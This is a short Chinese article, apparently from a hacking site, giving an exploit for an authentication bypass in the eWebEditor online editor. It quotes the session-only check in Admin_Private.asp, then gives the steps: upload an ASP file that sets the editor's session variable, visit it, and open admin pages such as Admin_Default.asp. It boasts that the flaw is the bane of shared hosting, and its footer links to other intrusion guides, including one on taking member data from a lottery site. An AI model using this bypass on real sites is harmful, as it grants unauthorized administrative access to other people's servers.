eWebEditor在线编辑器
漏洞文件:Admin_Private.asp
漏洞语句:<%

If Session("eWebEditor_User") = "" Then
Response.Redirect "admin_login.asp"
Response.End
End If

只判断了session没有判断cookies和路径验证问题
漏洞利用:
新建个h4x0r.asp内容如下:
<%Session("eWebEditor_User") = "11111111"%>
访问h4x0r.asp再访问后台任何文件for example:Admin_Default.asp

漏洞影响:虚拟主机克星.

上篇文章: 收费资源我做主的手法(入侵)篇

下篇文章: 教你入侵 6合彩网拿会员料补充